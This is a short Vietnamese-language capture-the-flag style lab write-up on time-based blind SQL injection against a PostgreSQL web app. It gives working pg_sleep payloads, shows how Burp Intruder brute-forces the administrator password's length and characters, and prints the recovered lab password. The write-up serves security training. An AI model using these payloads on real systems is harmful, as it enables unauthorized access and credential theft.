# Blind SQL injection with time delays and information retrieval
* Giống với bài lab [**Blind SQL injection with time delays**](https://hackmd.io/@thuanphat342001/rkCOc4OIp) nhưng lần này chúng ta sẽ sử dụng các delay response để tìm password của user `administrator`. Đầu tiên ta phải tìm payload của database nào hoạt động được. Dùng giống bài lab trước là `'||pg_sleep(10)--`. Kết quả là response có delay 10 giây.

* Tiếp theo ta đưa request `GET /filter?category=Gifts` qua Intruder, sử dụng payload `' || (SELECT CASE WHEN (LENGTH(password)=1) THEN pg_sleep(5) ELSE 'a' END FROM users WHERE username='administrator')--`. Vị trí đặt payload brute-force là độ dài của password. Nếu có delay thì payload đó chính là độ dài của password.

* Tiến hành tấn công, ta thấy ở payload `20` có delay response 5 giây, đây chính là độ dài của password.

* Tiếp theo ta sẽ brute-force password, dùng payload `' || (SELECT CASE WHEN (SUBSTRING(password, 1, 1) = 'a') THEN pg_sleep(5) ELSE 'a' END FROM users WHERE username='administrator')--`. Vị trí đặt payload brute-force sẽ là như hình dưới. Chọn loại tấn công là Cluster bomb. Ở vị trí payload đầu tiên ta đưa dữ liệu Numbers từ 1 đến 20, vị trí payloas thứ hai là các kí tự in thường và kí tự số. Tiến hành tấn công.

* Sau khi có kết quả, ta sắp xếp lại các kí tự và được password `lfycozdb6qtv87try3nq`. Dùng password này để đăng nhập. Hoàn thành bài lab.

